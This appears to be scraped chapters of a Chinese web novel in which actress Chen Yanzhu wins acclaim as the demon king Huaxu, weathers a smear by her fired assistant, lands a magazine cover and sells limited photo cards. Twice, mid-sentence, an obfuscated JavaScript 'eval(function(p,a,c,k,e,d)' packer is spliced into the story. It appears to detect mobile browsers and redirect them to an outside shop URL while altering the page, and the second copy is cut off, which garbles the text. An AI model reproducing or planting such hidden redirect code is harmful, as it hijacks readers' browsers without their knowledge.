彼时她刚靠在江殇怀里醒过来，窗外的阳光透过薄纱窗帘，在地板上投下斑驳的光影，空气里还飘着江殇早起熬的小米粥的香气。手机在床头柜上震动了两下，是经纪人发来的文件，附言只有一句：「杬祝，看看这个，我觉得你会喜欢。」 她轻手轻脚地从江殇怀里挪出来，怕吵醒他，光着脚走到飘窗边坐下，点开了那份标着「最终版剧本」的文档。 《许你金耀》的故事背景设定在人妖共存的架空乱世，而陈杬祝拿到的角色，是妖族最尊贵也最孤绝的妖王——华胥。 华胥不是传统意义上的「好妖」，她活了千年，见过人间冷暖，也经历过妖族内乱，一身金红色的蟒纹长袍加身，指尖能凝出淬了寒的金刃，眼底却藏着化不开的孤寂。她是男主少年时的救命恩人，是他藏在心底不敢言说的朱砂痣，却也是他最终要站在对立面的「敌人」。 剧本里的华胥，爱得偏执而清醒。她曾给过少年最温暖的庇护，却在他立志要「平定妖乱」时，亲手将他推上了人间的朝堂。她看着他从青涩少年长成一代名将，看着他身边有了温婉的人间女子，看着他举剑指向自己的妖族子民，却始终没有说过一句「我爱过你」。 直到最终的决战，金戈铁马踏碎了妖族的王城，男主的剑抵在她的咽喉处，她才缓缓抬眸，金红色的眼瞳里没有恨，只有一丝释然的笑：「我许你人间金耀万丈，你护我妖族子民平安，这交易，不算亏。」 陈杬祝一口气看完了剧本，指尖已经微微发颤。 她太懂华胥了。那种明明深爱，却要因为身份、因为责任，将所有情绪都藏在心底的隐忍；那种看着自己守护的人走向与自己相反的方向，却还要笑着成全的孤勇；那种最终以自己的退场，换来两族和平的悲壮。 这和她以往饰演的温柔角色截然不同，华胥身上的破碎感与强大感，像一把钩子，瞬间勾住了她的心。 「怎么了？」江殇不知何时醒了，走到她身后，弯腰将下巴抵在她的发顶，目光落在她的手机屏幕上，「新剧本？」 「嗯。」陈杬祝回头看他，眼底还带着未散的激动，「《许你金耀》，我演妖王华胥。」 江殇拿起她的手机，快速翻了几页剧本，眉头微微蹙起，随即又舒展开来，伸手揉了揉她的头发：「这个角色很适合你。」 「我也觉得。」陈杬祝笑了起来，眼睛亮晶晶的，「我从来没有演过这样的角色，又酷又飒，还带着一点悲情。」 「那你打算接？」 「当然。」陈杬祝用力点头，「我想挑战一下自己。」 一周后，《许你金耀》官方微博正式公布主演阵容。当「陈杬祝 饰华胥」的词条出现在海报上时，全网瞬间沸腾。 海报上的陈杬祝，彻底颠覆了以往的温柔形象。她身着一袭金红色的蟒纹长袍，墨发高束，用一根金簪固定，眉眼间带着一丝冷冽的锋芒，金红色的眼瞳微微上挑，既有着妖王的尊贵与霸气，又藏着一丝不易察觉的孤寂。 这条官宣微博，转发量在一小时内就突破了五百万。 评论区里，粉丝和路人都炸开了锅： 「卧槽！这是陈杬祝？！我差点没认出来！这造型也太绝了吧！」 「妖王华胥！这个角色设定我爱了！偏执又清醒的朱砂痣，谁能拒绝啊！」 「陈杬祝终于要演反派了吗？不对，华胥不能算反派，她只是立场不同！」 「我已经开始期待了！陈杬祝的演技一直在线，这次的妖王角色，肯定能给我们带来惊喜！」 「《配角人生》里的林春夏还让我意难平，转眼陈杬祝就变成了霸气妖王！这反差感，我磕爆！」 而陈杬祝自己，也在微博上发布了一张海报的特写，配文：「华胥，幸会。」 江殇第一时间转发了这条微博，配文：「期待陈老师的全新演绎。」 绫司司更是直接在评论区刷屏：「我老婆太帅了！！！妖王华胥，一统三界！！！」 沈司南和许祭也纷纷赶来评论： 「杬祝姐的新造型帅炸了！期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037615|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华胥大人！」 「恭喜。」 进组拍摄的日子，比陈杬祝想象中还要忙碌。 华胥的戏份大多需要吊威亚，还要学习各种打斗动作，陈杬祝每天都要在训练场上练到深夜，身上总是带着大大小小的淤青。但她从来没有喊过苦，也没有喊过累，只要一穿上那身金红色的蟒纹长袍，她就瞬间变成了那个孤绝而强大的妖王华胥。 江殇只要一有时间，就会去探班。他会带着陈杬祝最爱吃的甜品，会在她训练结束后，温柔地帮她揉着酸痛的肩膀，会在她因为一场戏的情绪不到位而失落时，耐心地陪她分析剧本。 「华胥的这个眼神，应该再冷一点。」江殇看着她的剧本，轻声说道，「她是妖王，经历过太多的生死离别，所以在面对男主的时候，她的爱意是藏在心底的，表面上应该是波澜不惊的。」 陈杬祝点了点头，认真地记在心里。「我知道了，谢谢你，江老师。」 「跟我还客气什么。」江殇笑了起来，低头吻了吻她的额头，「累了就休息一会儿，别硬撑。」 「我没事。」陈杬祝摇了摇头，眼睛里闪烁着坚定的光芒，「我想把华胥演好，不辜负这个角色，也不辜负大家的期待。」 三个月后，《许你金耀》终于杀青。 杀青宴上，导演举着酒杯，对着全场的人说道：「今天，我必须要敬陈杬祝一杯。她是我见过最敬业的演员，为了演好华胥这个角色，她付出了太多的努力。我敢保证，《许你金耀》播出后，大家一定会被陈杬祝饰演的华胥惊艳到！」 所有人都跟着举杯，向陈杬祝表示祝贺。 陈杬祝端着酒杯，脸上带着淡淡的笑容，眼底却闪烁着泪光。她知道，这三个月的努力，没有白费。 半年后，《许你金耀》正式开播。 首播当晚，收视率就突破了2.5，创下了年度首播收视率的新高。而陈杬祝饰演的华胥，更是凭借着惊艳的造型和精湛的演技，瞬间登上了热搜榜首。 #陈杬祝 华胥封神# #华胥顶级朱砂痣# #陈杬祝 演技炸裂# 剧中，华胥第一次出场的画面，就惊艳了无数观众。她坐在妖族王城的王座上，金红色的蟒纹长袍拖在地上，墨发随风飘动，指尖轻轻转动着一枚金刃，眼神冷冽而孤傲，仅仅是一个眼神，就将妖王的霸气与孤寂展现得淋漓尽致。 而华胥与男主的对手戏，更是让观众们欲罢不能。 少年时的救命之恩，成年后的兵戎相见，两人之间的每一次对视，都充满了复杂的情绪。华胥看着男主的眼神，里有疼爱，有不舍，有无奈，却唯独没有恨。而男主看着华胥的眼神，里有敬重，有愧疚，有挣扎，却始终不敢承认自己心底的那份爱意。 尤其是最终决战的那场戏，华胥被男主的剑抵在咽喉处，却依旧笑着说道：「我许你人间金耀万丈，你护我妖族子民平安，这交易，不算亏。」 她的声音平静而温柔，眼底却闪烁着泪光。金红色的血从她的咽喉处流出，染湿了她的长袍，却依旧挡不住她的美丽与孤傲。 这场戏播出后，全网的观众都哭了。 「华胥太让人心疼了！她明明那么爱男主，却要亲手将他推上人间的朝堂！」 「陈杬祝的演技也太好了吧！这个眼神，我直接哭死！」 「顶级朱砂痣就是华胥这样的吧！爱得偏执而清醒，最终以自己的退场，换来两族的和平！」 「我宣布，华胥是我今年最喜欢的角色！没有之一！」 「陈杬祝彻底摆脱了温柔小花的标签！她用实力证明，她可以驾驭任何角色！」 各大影视博主和影评人，也纷纷对陈杬祝的表现给出了高度评价。 「陈杬祝在《许你金耀》中的表现，堪称完美。她不仅完美地诠释了华胥这个角色的霸气与孤寂，还将华胥内心的复杂情绪展现得淋漓尽致。从温柔小花到霸气妖王，陈杬祝完成了一次完美的蜕变。」 「华胥这个角色，是《许你金耀》最大的亮点。而陈杬祝，是华胥这个角色的最佳人选。她用自己的演技，让华胥这个角色活了过来，也让观众们记住了这个孤绝而强大的妖王。」 「陈杬祝的演技，一直都在线。但在《许你金耀》中，她的演技更是达到了一个新的高度。她将华胥的破碎感与强大感完美地融合在了一起，让观众们既心疼她，又敬佩她。」 陈杬祝的微博评论区里，更是被粉丝们的赞美和祝福刷屏。 「杬祝姐！你太厉害了！华胥这个角色演得太好了！」 「从林春夏到华胥，你用实力证明了自己的无限可能！」 「顶级朱砂痣华胥大人！我永远是你的子民！」 「恭喜杬祝姐！你的努力没有白费！你值得所有的赞美和掌声！」 而此时的陈杬祝，正和江殇坐在家里的沙发上，看着网上的评论。 江殇将她揽入怀中，低头吻了吻她的发顶，声音温柔而骄傲：「我就知道，你一定可以的。」 陈杬祝靠在他的胸口，嘴角挂着甜甜的笑容，眼底却闪烁着泪光。「谢谢你，江殇。谢谢你一直支持我，鼓励我。」 「傻瓜。」江殇笑了起来，伸手拭去她眼角的泪珠，「你的梦想，就是我的梦想。我会一直陪在你身边，看着你站在更高的舞台上，闪闪发光。」 陈杬祝抬头看向他，眼底满是爱意。「我也是。余生漫漫，我想和你一起，看遍世间的风景，经历人生的风雨。」 江殇低头吻住了她的唇，这个吻，温柔而缠绵，带着阳光的味道和幸福的芬芳。 窗外，夜色正浓，星光璀璨。卧室里，两人相拥而眠，空气中弥漫着甜甜的气息。 陈杬祝知道，从林春夏到华胥，她完成了一次完美的蜕变。而未来的路，还很长。但她相信，只要有江殇在身边，有绫司司这样的好朋友支持，有粉丝们的陪伴，她一定可以走得更远，飞得更高。 戏里的华胥，是男主心底的顶级朱砂痣。而戏外的陈杬祝，是江殇心底的唯一，是粉丝们心中的光。 陈杬祝的小助理林晚的微博更新提示弹出时，《许你金耀》正播到华胥孤身守在妖族王城的名场面，全网都沉浸在陈杬祝塑造的“顶级朱砂痣”的悲情与霸气里，#陈杬祝 华胥演技封神#的词条还挂在热搜榜首，热度居高不下。 林晚的微博是个刚注册不久的小号，没有头像，只填了个模糊的简介，唯一的关注人是陈杬祝。这条突如其来的微博没有任何铺垫，只有一段文字，像一颗深水炸弹，瞬间在全网掀起惊涛骇浪： 「说句实话吧，大家别再吹陈杬祝的华胥了。《许你金耀》里大部分高难度的戏份，包括吊威亚的打戏、情绪爆发的哭戏，根本不是她本人演的，都是找的替身。她每天在剧组就是摆摆造型，拍点近景和台词戏，连华胥的标志性金刃手势，都是替身教她的。真不知道那些夸她演技好的人，到底在看什么。」 这条微博发出的瞬间，就被眼尖的网友截图转发。没有认证，没有证据，却因为“陈杬祝助理”这个身份标签，在短短十分钟内，就冲上了热搜榜，#陈杬祝 华胥替身#的词条以火箭般的速度攀升，瞬间压过了原本的好评词条。 评论区和各大娱乐超话瞬间炸锅，原本一片祥和的赞美声，瞬间被质疑和争论取代： 「？？？真的假的？林晚不是杬祝姐的贴身小助理吗？她为什么要爆这个料？」 「替身？！我不信！华胥的眼神戏那么绝，替身能演出来？」 「高难度打戏用替身很正常吧？很多演员都会用啊！怎么能说大部分戏份都是替身上的？」 「有没有可能是助理被辞退了，故意抹黑？或者是被人买通了？」 「我真的破防了！华胥是我今年最喜欢的角色，要是真的是替身演的，那我夸了这么久的到底是谁啊？」 「求锤得锤！有没有业内人士出来说句话？到底是不是真的？」 有人顺着账号信息扒出，这个“林晚”确实是陈杬祝的新助理，入职不到半年，之前还在陈杬祝的剧组路透里出现过，帮陈杬祝拿过水杯和剧本。还有人翻出林晚的朋友圈，发现她昨天还发了和陈杬祝的合照，配文“祝姐今天也超棒”，今天却突然反水，实在诡异。 一时间，各种猜测甚嚣尘上。有人说林晚是因为薪资问题和陈杬祝团队闹翻，有人说她是被对家买通故意搞事，还有人说这是《许你金耀》的恶意营销，想靠争议再炒一波热度。 而此时的林晚，正躲在自己狭小的出租屋里，手指死死地攥着手机，屏幕上的评论和转发数还在疯狂上涨。她的桌上放着一张被撕碎的合照，是她和陈杬祝的合影，照片上的陈杬祝正温柔地笑着，替她理了理额前的碎发。 就在昨天，她因为一时疏忽，把陈杬祝准备了很久的试镜剧本落在了咖啡馆，导致陈杬祝差点错过一个重要的试镜机会。陈杬祝的经纪人虽然没有骂她，却直接通知她被辞退了，让她今天就收拾东西离开。 她不甘心。她明明那么努力地照顾陈杬祝，明明把陈杬祝当成了自己的偶像和姐姐，却因为一个小小的失误，就被毫不留情地抛弃。她看着网上所有人都在夸陈杬祝，看着陈杬祝站在聚光灯下闪闪发光，心里的嫉妒和委屈瞬间爆发。 她想起自己在剧组里看到的那些场景：陈杬祝吊威亚时害怕得脸色发白，替身替她完成了高难度的翻转动作；陈杬祝拍哭戏时迟迟进不了状态，替身先演了一遍给她看；甚至连华胥的那个标志性的金刃手势，都是替身一点点教她的。 这些原本是演员和替身之间的正常配合，却在她的心里，变成了陈杬祝“不敬业”“靠替身”的证据。她手指颤抖着敲下那段话，没有任何犹豫，就点击了发送。 发送成功的提示弹出时，她的心里没有一丝报复的快感，只有无尽的恐慌。她不断刷新着微博，看着越来越多的人开始质疑陈杬祝，看着陈杬祝的粉丝在评论区里和质疑者争吵，她的眼泪终于忍不住滑落。 「祝姐，对不起。」她对着空无一人的房间，喃喃自语，声音里带着哭腔，「可是，你为什么不要我了？」 而另一边，陈杬祝正和江殇、经纪人一起，坐在剧组的休息室内，看着林晚发的那条微博。 空气里的气氛瞬间凝固，经纪人的脸色铁青，手指紧紧地握着手机，声音里带着一丝愤怒：「这个林晚，简直是疯了！我这就联系公关团队，马上处理！」 陈杬祝的脸上没有任何表情，只是手指微微颤抖，眼底满是不可置信和难过。她怎么也想不到，自己一直用心对待的小助理，竟然会在背后捅自己一刀。 江殇伸手将她揽入怀中，轻轻拍着她的后背，声音温柔而坚定：「别难过，不是你的错。」 陈杬祝靠在他的胸口，声音里带着一丝哽咽：「我明明那么信任她，她为什么要这么做？」 「或许是因为被辞退的不甘心吧。」经纪人叹了口气，「昨天她把你的试镜剧本落在咖啡馆，我本来想给她一次机会，可是她却没有丝毫悔改的意思，反而还在背后说你的坏话。我这才决定辞退她的。」 陈杬祝的心里更加难过了。她想起林晚刚入职时，怯生生地跟在自己身后，喊自己“祝姐”；想起林晚在自己熬夜看剧本时，默默给自己端来一杯热牛奶；想起林晚在自己被黑粉攻击时，生气地和黑粉对线。 那些温馨的画面，此刻都变成了一把把尖刀，狠狠扎在她的心上。 「杬祝，你别担心。」经纪人看着她，声音里带着一丝安慰，「我们手里有完整的拍摄花絮和替身合同，只要把这些放出来，就能证明你的清白。」 陈杬祝点了点头，眼底的难过渐渐被坚定取代。她抬起头，看着经纪人，声音平静而有力：「好。把花絮放出来吧。我要让所有人都知道，华胥这个角色，是我一步一个脚印，用心演出来的。」 江殇看着她，眼底满是心疼和骄傲。他伸手握住她的手，声音温柔而坚定：「我陪你一起。」 经纪人立刻点头，拿出手机，开始联系公关团队，准备发布拍摄花絮和声明。 而此时的网上，争论还在继续。粉丝们一边忙着举报林晚的微博，一边在超话里安抚大家的情绪，等待着陈杬祝团队的回应。 「我们相信杬祝姐！她为了演好华胥，付出了多少努力，我们都看在眼里！」 「吊威亚的打戏用替身很正常！杬祝姐自己也练了很久，只是高难度动作需要专业替身配合而已！」 「林晚肯定是被辞退了，故意抹黑杬祝姐！我们等着工作室的声明！」 「华胥的眼神戏、台词功底，都是杬祝姐自己的！替身怎么可能演得出来？」 夜色渐深，网上的热度却丝毫没有减退。所有人都在等待着陈杬祝团队的回应，等待着这场风波的真相。 而陈杬祝靠在江殇的怀里，看着窗外的星空，心里默默想着：华胥曾说，「我许你人间金耀万丈，你护我妖族子民平安」。而她现在，只希望自己能守住自己的初心，守住那些信任自己的人。 她知道，这场风波不会轻易结束。但她相信，只要自己行得正坐得端，只要有江殇的陪伴，有粉丝们的支持，她一定可以度过这个难关。 戏里的华胥，孤身一人守着妖族王城，从未退缩。戏外的陈杬祝，也绝不会因为这点小小的风波，就轻易倒下。 29. 新助力 《许你金耀》的播出热度正盛时，全网的短视频平台都被陈杬祝饰演的华胥霸屏。 没有冗长的剧情铺垫，只有华胥最具张力的名场面混剪：妖族王座上金红色蟒纹长袍猎猎作响的孤绝背影，指尖凝出金刃时冷冽如霜的眼神，与男主决战时那句「我许你人间金耀万丈，你护我妖族子民平安」的释然浅笑，还有少年时躲在桃花树下，偷偷给受伤男主喂药时，眼底一闪而过的温柔。 剪辑者们深谙流量密码，有人用《杀破狼》的BGM搭配华胥的打戏，剑光与金刃碰撞的瞬间，点赞量轻松破百万；有人截取华胥所有眼神戏，从霸气到孤寂，从隐忍到释然，配文「顶级朱砂痣的破碎感，被陈杬祝演活了」，评论区满是「循环播放一百遍」的留言；甚至有粉丝将华胥与陈杬祝以往的温柔角色做对比，「从林春夏到华胥，陈杬祝的戏路有多宽」的话题，在抖音单平台的播放量就突破了十亿。 这些短视频像长了翅膀，不仅让《许你金耀》的收视率持续走高，更让陈杬祝的国民度实现了质的飞跃。曾经提起她，观众想到的是「温柔小花」「江殇的女友」，而现在，「妖王华胥」「演技炸裂」成了她的新标签。 转机在一个周五的下午到来。陈杬祝的经纪人拿着一份烫金邀请函，几乎是小跑着冲进了她的休息间，声音里带着抑制不住的激动：「杬祝！成了！《精彩飞演》！他们终于松口了！」 《精彩飞演》是国内顶级的影视时尚双栖杂志，向来只青睐影坛前辈或是顶级流量，从未给过出道不满五年的年轻演员单人封面对待。在此之前，陈杬祝虽有作品傍身，却始终够不上这本杂志的门槛。而这一次，正是那些刷爆全网的华胥混剪视频，让杂志主编看到了她身上的无限可能——既有古装妖王的霸气与破碎感，又有现代造型的灵动与时尚感。 杂志团队的效率极高，三天后，陈杬祝就走进了《精彩飞演》的拍摄棚。 这一次的造型，彻底打破了所有人对她的固有印象。一组造型是黑金拼接的丝绒长裙，裙摆拖在地上，像暗夜里翻涌的浪潮，上身的露背设计勾勒出纤细的肩颈线条，长发高高盘起，额间点缀着一枚金色的流苏额饰，眉眼间化着冷艳的烟熏妆，镜头前的她，微微抬眸，眼神里既有华胥的霸气，又有属于陈杬祝的灵动。 另一组造型则走了极简风，米白色的高领针织衫，搭配黑色的阔腿裤，没有多余的装饰，只有一束金色的向日葵放在手边。陈杬祝坐在纯白的背景前，嘴角带着淡淡的笑意，眼神温柔却有力量，像极了褪去妖王外壳，回归本真的自己。 拍摄过程异常顺利。陈杬祝似乎天生就该站在镜头前，摄影师的每一次按下快门，她都能精准地捕捉到最完美的角度。当摄影师让她复刻华胥的经典眼神时，她只需要一秒钟，就能从温柔的陈杬祝，切换成那个孤绝的妖王，眼底的冷冽与孤寂，让现场的工作人员都忍不住屏住呼吸。 「完美！」摄影师放下相机，忍不住鼓起掌来，「陈老师，你真的太有天赋了！这组片子，绝对能成为我们杂志的年度封面！」 陈杬祝微微鞠躬，脸上带着谦虚的笑容：「谢谢老师，是团队的造型和灯光做得好。」 江殇特意推掉了当天的所有行程，全程守在拍摄棚外。每当陈杬祝休息的间隙，他都会递上一杯温水，替她理一理额前的碎发，眼底的宠溺藏都藏不住。工作人员们早已习惯了两人的甜蜜，纷纷笑着调侃：「江老师，您这是来探班，还是来当专属助理啊？」 江殇只是笑，伸手将陈杬祝揽入怀中，声音温柔：「我来等我的女主角收工。」 两周后，《精彩飞演》的封面预告在官方微博发布。 封面图上的陈杬祝，身着黑金丝绒长裙，额间的金色流苏摇曳，眼神冷艳而坚定，背景是暗金色的水墨晕染，像极了妖族王城的漫天霞光。配文只有一句话：「陈杬祝：从温柔到霸气，她的戏路，没有边界。」 这条微博发出的瞬间，服务器险些瘫痪。转发量在十分钟内突破三百万，评论区里，粉丝和路人都炸开了锅： 「卧槽！这封面也太绝了吧！华胥大人杀回来了！」 「《精彩飞演》！杬祝姐的第一本顶级杂志！我哭死！这是实红啊！」 「黑金造型封神了！既有妖王的霸气，又有时尚感！陈杬祝的可塑性也太强了！」 「谁能想到，三个月前我们还在为林春夏意难平，现在就被华胥和陈杬祝的杂志封面帅晕！」 「恭喜陈杬祝！这才是演员该有的样子！用作品说话，用实力圈粉！」 预售通道开启的那一刻，杂志库存被一抢而空。官方紧急加印了三次，依旧满足不了粉丝的需求。有人晒出自己抢到的杂志内页，陈杬祝的每一张照片都堪称经典：黑金造型的冷艳，米白造型的温柔，还有一组穿着红色旗袍的造型，眉眼间带着江南女子的婉约，却又藏着一丝不易察觉的锋芒。 内页的专访，更是让观众对陈杬祝有了更深的了解。她在专访中提到，为了演好华胥，她特意去学习了剑术和吊威亚，每天训练到手臂酸痛抬不起来；她提到华胥这个角色的魅力，在于「她的强大不是天生的，而是经历过无数磨难后，硬生生逼出来的」；她还提到，江殇一直在背后支持她，在她情绪低落时，陪她一起分析剧本，在她训练受伤时，细心地替她上药。 「他是我的光，也是我前进的动力。」陈杬祝在专访中笑着说，眼底的爱意藏都藏不住。 这条专访内容被粉丝截图转发后，#陈杬祝 江殇双向奔赴#的词条再次冲上热搜。 而此时的陈杬祝，正和江殇一起，坐在家里的沙发上，翻看着刚拿到手的《精彩飞演》样刊。 江殇伸手拂过封面上陈杬祝的脸庞，声音里满是骄傲：「我的女主角，终于登上了她梦寐以求的杂志封面。」 陈杬祝靠在他的胸口，手指轻轻摩挲着杂志内页的照片，嘴角挂着甜甜的笑容：「这不是我一个人的功劳。没有你的支持，没有粉丝们的喜欢，没有那些刷爆全网的混剪视频，我不可能有今天。」 「不。」江殇低头吻了吻她的发顶，声音坚定，「这是你应得的。你为华胥付出的每一份努力，都值得被看见，值得被赞美。」 陈杬祝抬起头，看着江殇眼底的温柔，心里暖暖的。她突然想起，拍摄杂志的那天，江殇在棚外等了她整整八个小时，没有一句抱怨，只是在她收工时，递上了一杯温热的姜茶。 「对了。」陈杬祝像是想起了什么，突然坐直了身子，眼睛亮晶晶地看着江殇，「杂志团队说，这组照片的反响特别好，他们想邀请我们一起拍一组情侣封面，你愿意吗？」 江殇的眼底瞬间闪过一丝惊喜，他毫不犹豫地点头：「当然愿意。只要是和你一起，做什么都愿意。」 陈杬祝的脸颊微微泛红，她伸手环住江殇的脖子，将自己的唇凑了上去。 窗外的阳光透过薄纱窗帘，洒在两人身上，形成一片温暖的光影。杂志封面上的陈杬祝，冷艳而霸气，而此刻窝在江殇怀里的陈杬祝，却温柔得像一汪春水。 她知道，从林春夏到华胥，从十八线小透明到顶级杂志封面人物，她的人生，正在一点点变得更加精彩。而这一切的背后，有江殇的陪伴，有粉丝的支持，有自己的努力。 那些刷爆全网的混剪视频，是她前进的阶梯；这本《精彩飞演》，是她人生的第一本顶级杂志，却绝不会是最后一本。 未来的路还很长，陈杬祝已经做好了准备。她要带着华胥的霸气与孤勇，带着林春夏的温柔与坚韧，在属于自己的舞台上，继续发光发热。 戏里的华胥，是男主心底的顶级朱砂痣。而戏外的陈杬祝，正在用自己的实力，成为娱乐圈里一颗不可替代的璀璨星辰。 《精彩飞演》官方微博发布陈杬祝单人小卡预售公告的那天，恰逢周六午后，距离杂志正式上架刚满一周，全网还沉浸在陈杬祝黑金封面的惊艳余韵里。 公告内容简单却极具杀伤力：「陈杬祝首封限定小卡来袭！全系列共5款，对应杂志内页五大造型（黑金霸总、米白温柔、红裙婉约、华胥仿妆、向日葵暖系），每款限量104张，总计520张。今日13:14开启线上独家预售，每人限购1张，凭杂志购买记录参与，售完即止，永不复刻。」 配图是五张小卡的高清样图，卡面采用磨砂覆膜工艺，边缘烫金，背后印着陈杬祝的亲笔签名和一句专属文案——黑金款是「锋芒在骨，温柔在怀」，米白款是「心有向日葵，何惧风雨来」，红裙款是「江南无所有，聊赠一枝春」，华胥仿妆款是「许你金耀，护我心安」，向日葵暖系款则是「余生漫漫，皆是你」。 这条微博发出的瞬间，评论区和转发区直接陷入狂欢，#陈杬祝520限量小卡# #精彩飞演 抢卡大战# 两个词条以肉眼可见的速度冲上热搜，服务器在三分钟内两次陷入卡顿。 「520张！13:14开售！这是什么浪漫密码啊！小编你是懂粉丝的！」 「五款造型各有千秋！华胥仿妆款直接戳中我的心巴！谁能拒绝妖王大人的小卡啊！」 「每人限购1张？！这是要逼死选择困难症啊！我想把五款都拿下！」 「凭杂志购买记录？还好我当时抢了十本杂志！现在就等13:14了！」 「限量520张，永不复刻！这波是硬通货啊！必须冲！」 陈杬祝的超话里，粉丝们早已提前做好了攻略，有人自发整理了五款小卡的对应造型细节，有人分享了抢购软件的提速技巧，还有人组建了「抢卡互助群」，约定抢到不同款式的粉丝后续可以互相交换。就连平时不怎么参与周边抢购的佛系粉丝，也都卯足了劲，定好了十几个闹钟，生怕错过这波「人生限定」。 而此时的《精彩飞演》编辑部，电话几乎被打爆。工作人员看着后台不断飙升的预约人数，忍不住感慨：「陈杬祝这波热度，真的是断层式的。之前我们做过不少艺人的限定周边，从没见过这么大的阵仗。」 下午13:14一到，线上预售通道准时开启。 短短十秒内，页面的点击量就突破了百万。粉丝们盯着屏幕上的倒计时，手指悬在「立即抢购」按钮上，心脏跳得比打游戏冲关时还要快。有人因为网络延迟，页面刚加载出来就显示「已售罄」；有人好不容易抢到了付款界面，却因为验证码输入慢了一秒，错失良机；还有人运气爆棚，成功抢到了自己最想要的华胥仿妆款，激动得在客厅里跳了起来，瞬间被家人当成了「疯子」。 一分零三秒后，官方微博发布公告：「陈杬祝限定小卡全系列售罄！感谢大家的支持与喜爱！」 这条公告一出，评论区瞬间分成了两派：抢到的粉丝晒出订单截图，欢呼雀跃，字里行间都是藏不住的喜悦；没抢到的粉丝则集体「哀嚎」，有人表示要去蹲二手平台，有人则遗憾自己「手速太慢」，还有人开玩笑说「愿意用一年的奶茶换一张华胥小卡」。 二手平台上，陈杬祝的小卡价格瞬间被炒到了天价。最受欢迎的华胥仿妆款，标价直接突破五位数，还不乏有人争相竞价。即便是相对冷门的红裙款，价格也翻了几十倍。粉丝们一边吐槽「黄牛太黑心」，一边又忍不住刷新页面，希望能蹲到粉丝自出的平价小卡。 陈杬祝是在和江殇一起看电影时，从经纪人那里得知小卡售罄的消息的。 当时电影刚放到一半，她的手机震动了一下，经纪人发来的消息简单明了：「小卡一分零三秒售罄，二手平台价格暴涨，粉丝们都很激动。」 陈杬祝看完消息，忍不住笑出了声，转头对身边的江殇说：「没想到大家这么喜欢那些小卡。」 江殇伸手揉了揉她的头发，眼底满是宠溺：「那是因为大家都喜欢你。你值得所有的喜欢和支持。」 「可是二手平台的价格也太离谱了。」陈杬祝微微蹙眉，声音里带着一丝担忧，「我不想让粉丝们花这么多钱买我的周边。」 江殇握住她的手，轻轻拍了拍她的手背：「别担心。经纪人已经在和杂志方沟通了，看看能不能有什么补救的办法，比如推出一款不限量的普通版小卡，满足更多粉丝的需求。」 陈杬祝点了点头，心里暖暖的。她知道，江殇总是能在她担心的时候，给她最安心的依靠。 一周后，《精彩飞演》官方微博再次发布公告，给了所有没抢到限定小卡的粉丝一个巨大的惊喜：「应陈杬祝女士的要求，为感谢大家的支持，我们将推出陈杬祝首封纪念版小卡，不限量发售，造型与限定版一致，采用普通工艺，无亲笔签名，但价格亲民，凭任意陈杬祝相关作品购买记录即可购买。同时，限定版小卡的所有收益，将由陈杬祝女士全额捐赠给公益基金会，用于帮助贫困地区的儿童实现艺术梦想。」 这条公告一出，全网瞬间沸腾。粉丝们纷纷为陈杬祝的暖心举动点赞： 「呜呜呜！杬祝姐也太好了吧！不仅为我们推出了不限量版小卡，还把限定版的收益全部捐赠出去！」 「这才是偶像该有的样子！用自己的力量去帮助别人，太正能量了！」 「不限量版小卡！终于可以拥有杬祝姐的小卡了！我要把五款都买齐！」 「限定版收益捐赠公益！杬祝姐的格局也太大了！粉上你，是我们的幸运！」 陈杬祝也在自己的微博上转发了这条公告，配文：「感谢大家对小卡的喜爱。希望这些小小的卡片，能给大家带来快乐，也能给需要帮助的孩子们带去希望。@精彩飞演 [心]」 江殇第一时间转发了这条微博，配文：「我的女孩，永远这么温柔而有力量。」 绫司司更是直接在评论区刷屏：「我不管！我既要抢不限量版小卡，也要蹲粉丝自出的限定版小卡！我要把杬祝姐的所有小卡都收集齐！」 沈司南和许祭也纷纷赶来评论： 「杬祝姐太暖心了！已经准备好购买不限量版小卡了！」 「恭喜。公益的意义，远大于周边本身。」 而那些抢到了限定版小卡的粉丝，更是激动不已。他们不仅拥有了独一无二的限定周边，还知道自己的购买行为为公益事业贡献了一份力量，心里充满了自豪感。有人在超话里晒出自己的限定小卡，配文：「这张卡，我会珍藏一辈子。它不仅是杬祝姐的首封小卡，更是一份爱的传递。」 两个月后，限定版小卡终于陆续送到了粉丝们的手中。 粉丝们收到小卡后，纷纷在社交平台上晒出自己的「开箱视频」。磨砂的卡面质感高级，烫金的边缘闪闪发光，背后的亲笔签名和专属文案，更是让粉丝们爱不释手。有人将小卡放在钱包里，有人将小卡做成钥匙扣，还有人将小卡装在精致的卡册里，当成宝贝一样珍藏。 而不限量版小卡的发售，也满足了更多粉丝的需求。虽然没有亲笔签名和烫金工艺，但精美的造型依旧让粉丝们爱不释手。 陈杬祝的微博上，发了一张她拿着限定版小卡的照片，配文：「每一张小卡，都承载着大家的喜欢。感谢每一个你，让我的人生更加精彩。」 照片里的陈杬祝，穿着米白色的针织衫，手里拿着华胥仿妆款的小卡，嘴角挂着甜甜的笑容，眼底满是温柔。 这条微博发出的瞬间，评论区里满是粉丝的祝福和爱意： 「呜呜呜！杬祝姐拿着小卡的样子太可爱了！」 「每一张小卡都承载着我们的喜欢！杬祝姐也要一直开心啊！」 「限定版小卡已经收到了！会好好珍藏的！」 「不限量版小卡也买了！五款造型都超好看！」 夜色渐深，陈杬祝和江殇手牵手走在回家的路上。 路灯的光线落在他们身上，将两人的身影拉得很长很长。陈杬祝的手里，还拿着一张华胥仿妆款的限定小卡。 「今天开心吗？」江殇低头看她，声音温柔得能溺死人。 「开心。」陈杬祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 